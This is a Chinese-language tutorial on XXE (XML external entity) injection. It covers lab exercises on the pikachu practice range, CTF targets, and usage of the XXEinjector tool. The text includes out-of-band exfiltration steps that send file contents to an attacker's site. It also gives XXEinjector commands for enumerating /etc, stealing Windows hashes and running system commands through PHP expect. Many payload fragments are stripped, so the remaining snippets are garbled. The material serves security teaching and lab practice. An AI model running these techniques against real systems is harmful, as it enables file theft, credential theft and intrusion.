XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
2、XML与HTML的主要差异XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
3.xml示例
]]]>
Dave
Tom
Reminder
You are a good man
3、演示案例
1、pikachu靶场XML
-回显,玩法,协议,引入
-
打开靶场
-
文件读取
]>&xxe;
备注:前提条件是有那个文件
-
玩法-内网探针或攻击内网应用(触发漏洞地址)
]>&rabbit;
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
-
玩法-RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
]>&xxe;
id是对于的执行的命令。实战情况比较难碰到。
-
引入外部实体DTD
%file;
]>
&send;
//下面的是写入文件的
evil2.dtd:
条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
-
无回显-读取文件
%dtd;
%send;
]>
test.dtd:
"
>
%payload;
上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
4、xxe绕过https://www.cnblogs.com/20175211lyz/p/11413335.html5、xxe靶场 1、xxe-lab
下载地址: https://github.com/c0ny1/xxe-lab
2、CTF-Jarvis-OJ-Web-XXE
http://web.jarvisoj.com:9882/ 更改请求数据格式:c ]>&f;
点击Go,抓包
数据传输形式是采用json数据格式来提交传输的。通过修改数据格式来攻击,形成XXE漏洞。
6、xxe工具XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
1、获取地址这里也给出github地址:https://github.com/enjoiz/XXEinjector https://github.com/enjoiz/XXEinjector/archive/master.zip2、参数说明
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2) --file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt) --path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc) --brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt) --logger 记录输出结果。 --rhost 远程主机IP或域名地址。(--rhost=192.168.0.3) --rport 远程主机的TCP端口信息。(--rport=8080) --phpfilter 在发送消息之前使用PHP过滤器对目标文件进行base64编码。 --netdoc 使用netdoc协议。(Java). --enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445) --hashes 窃取运行当前应用程序用户的Windows哈希。 --expect 使用PHP expect扩展执行任意系统命令。(--expect=ls) --upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt) --xslt XSLT注入测试。 --ssl 使用SSL。 --proxy 使用代理。(--proxy=127.0.0.1:8080) --httpport Set自定义HTTP端口。(--httpport=80) --ftpport 设置自定义FTP端口。(--ftpport=21) --gopherport 设置自定义gopher端口。(--gopherport=70) --jarport 设置自定义文件上传端口。(--jarport=1337) --xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337) --test 该模式可用于测试请求的有效。 --urlencode URL编码,默认为URI。 --output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt) --timeout 设置接收文件/目录内容的Timeout。(--timeout=20) --contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20) --fast 跳过枚举询问,有可能出现结果假阳性。 --verbose 显示verbose信息。3、工具使用
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt



